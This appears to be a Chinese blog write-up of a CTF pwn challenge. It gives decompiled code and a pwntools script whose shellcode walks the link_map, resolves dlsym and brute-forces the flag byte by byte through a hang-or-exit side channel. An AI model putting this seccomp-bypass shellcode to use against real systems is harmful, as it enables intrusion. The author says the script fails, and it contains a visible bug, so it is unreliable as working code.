cscctf_2019_final_maps


代码分析

源码很简单,直接贴出

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rsi
  int fd; // [rsp+Ch] [rbp-24h]
  unsigned __int64 buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+18h] [rbp-18h]
  void *v8; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  init(*(_QWORD *)&argc, argv, envp);
  v8 = dlopen("/home/maps/libflag.so", 1);   //打开文件夹
  if ( !v8 )
    error("dlopen", 1LL);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    error("open", 2LL);
  if ( read(fd, &buf, 8uLL) < 0 || read(fd, &v7, 8uLL) < 0 )
    error("read", 3LL);
  close(fd);
  buf = (unsigned __int64)mmap(
                            (void *)((buf & 0xFFFFFFFFFFFFF000LL)
                                   - 0x777700000000LL
                                   * (0x224946DBB2496LL * (unsigned __int128)((buf & 0xFFFFFFFFFFFFF000LL) >> 32) >> 64)),
                            0x1000uLL,
                            7,
                            34,
                            -1,
                            0LL);
  v7 = (unsigned __int64)mmap(
                           (void *)((v7 & 0xFFFFFFFFFFFFF000LL)
                                  - 131352984813568LL
                                  * (0x224946DBB2496LL * (unsigned __int128)((v7 & 0xFFFFFFFFFFFFF000LL) >> 32) >> 64)),
                           0x1000uLL,
                           3,
                           34,
                           -1,
                           0LL);
  if ( !buf || !v7 )
    error("mmap", 4LL);
  memcpy((void *)buf, &sc, 0x30uLL);
  puts("Welcome!");
  puts("Your flag is hid inside libflag.so");
  puts("Let's see what your shellcode can do");
  printf("> ", &sc);
  v3 = buf + 48;
  read(0, (void *)(buf + 48), 0x3B8uLL);
  init_seccomp();
  ((void (__fastcall *)(unsigned __int64, __int64))buf)(v7 + 2048, v3);
  return 0;
}

打开一个动态链接库,里面应该有system函数。

然后用mmap创建空间,地址随机。

sc处的指令用来设置栈为输入的地址

pwndbg> x /50i 0x400f00  
   0x400f00 <sc>:       mov    rsp,rdi
   0x400f03 <sc+3>:     xor    rax,rax
   0x400f06 <sc+6>:     xor    rbx,rbx
   0x400f09 <sc+9>:     xor    rcx,rcx
   0x400f0c <sc+12>:    xor    rdx,rdx
   0x400f0f <sc+15>:    xor    rdi,rdi
   0x400f12 <sc+18>:    xor    rsi,rsi
   0x400f15 <sc+21>:    xor    rbp,rbp
   0x400f18 <sc+24>:    xor    r8,r8
   0x400f1b <sc+27>:    xor    r9,r9
   0x400f1e <sc+30>:    xor    r10,r10
   0x400f21 <sc+33>:    xor    r11,r11
   0x400f24 <sc+36>:    xor    r12,r12
   0x400f27 <sc+39>:    xor    r13,r13
   0x400f2a <sc+42>:    xor    r14,r14
   0x400f2d <sc+45>:    xor    r15,r15
   0x400f30 <sc+48>:    add    BYTE PTR [rax],al

接下来要执行的代码从输入获取。中间禁用了所有系统调用,只能用exit

思路

用dlsym函数把需要的函数加载然后调用。

调用结果不能输出,可以用一位一位爆破的方法,如果匹配相同可以陷入死循环接收不到东西但不会断开。如果匹配不相同可以直接结束会接收到EOF

dlsym函数

void *dlsym(void *handle, const char *symbol);

第一个参数handle是dlopen的返回值,是文件的句柄,一个堆地址

第二个参数是符号是要调用函数名字是个字符串

返回一个被调用函数或符号的真实地址

上一部分中说到文件句柄,这里说如何找到这个地址

plt表在内存中的位置

ida中plt表的位置

plt表的第二项是link_map的地址,link_map是一个链表,每个节点是一个结构体,每个节点存放一个动态库的信息。

结构为,其中每个节点的地址就是上文说道的句柄的地址

struct link_map
{
    /* These first few members are part of the protocol with the debugger. 
       This is the same format used in SVR4.  */

    ElfW (Addr) l_addr; /* Difference in address on ELF and memory.  */
     char * l_name; /* Filename.  */
     ElfW (Dyn) * l_ld; /* "Dynamic" area of the object.  */
     struct link_map * l_next, * l_prev; /* Doubly linked list.  */ 
};

其中偏移0x18地址处为next指针

next指针

如果地址不是0x7f开头就认为是用户使用dlopen加载的。

exp

#coding=utf-8
from pwn import *
file_path="./maps_debug"
context.arch = "amd64"
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)

debug = 1
if debug:
    # p = process([file_path])
    elf=ELF(file_path)
    # gdb.attach(p, "b *$rebase(0x121c)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('47.111.104.169', 57404)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

def debug_1(addr,PIE=False):
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str)
    else:
        for i in addr:
            text_base=0
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str)




def get_payload(offset,val):
    shell_asm=shellcraft.amd64.setregs({'rax':0x602008,'rbx':0x7f0000000000})
    shell_asm += "mov rdx,[rax]\n" \
                 "loop1:\n" \
                 "  mov rdx,[rdx+0x18]\n" \
                 "  cmp rdx,rbx\n" \
                 "  jge loop1\n"
    # shell_asm+=
    shell_asm+=shellcraft.amd64.pushstr("correct_flag_13333337")
    shell_asm += shellcraft.amd64.mov('rcx',0x602028)
    shell_asm +="mov rcx,[rcx]\n" #puts_got

    shell_asm += "add rcx,0x371650\n" #计算处dlsym函数
    shell_asm += shellcraft.amd64.setregs({'rdi':'rdx','rsi':'rsp'})
    shell_asm+="call rcx \n"
    shell_asm+="call rax \n"
    shell_asm+="mov dl,BYTE PTR [rax+{:d}]\n".format(offset)
    shell_asm+="cmp dl,{:d}\n".format(val)
    shell_asm+="jge good\n"
    shell_asm+="bad:\n" \
               "    mov rax,0x3c\n" \
               "    xor rdi,rdi\n" \
               "    syscall\n" \
               "good:\n" \
               "    jmp $+0"


    print(shell_asm)
    payload=asm(shell_asm)
    print(hex(len(payload)))
    return payload

# debug_1([0x000000000400E2E])
import string

flag=""
for i in range(35):
    for j in string.printable:
        p = process([file_path])
        p.recvuntil("> ")
        p.sendline(get_payload(i,ord(j)))
        try:
            p.recv(1,timeout=0.5)
            p.close()
            flag+=chr(j)
            break
        except:
            p.close()
print(flag)
# p.interactive()

问题

上面的脚本其实不能得到flag
因为在调用dlsym函数的时候总是失败不知道什么原因。。。。。。。。。。。。。。。


评论
 上一篇
linux库说明以及如何修改动态链接库 linux库说明以及如何修改动态链接库
说明在ctf中共享库的问题一直是一个非常非常非常恶心的问题,这里将会介绍动态链接库的命名以及如何修改一个程序依赖的动态链接库 命名0x7f387805e000 0x7f3878091000 r-xp 33000 0
2020-11-30
下一篇 
how2heap注意点总结-上 how2heap注意点总结-上
first-fit我的理解是分割unsortedbin里面第一个大于要分配的chunk,但是实际上并不是这样 测试程序 #include <stdio.h> #include <stdlib.h> #include
2020-11-29
  目录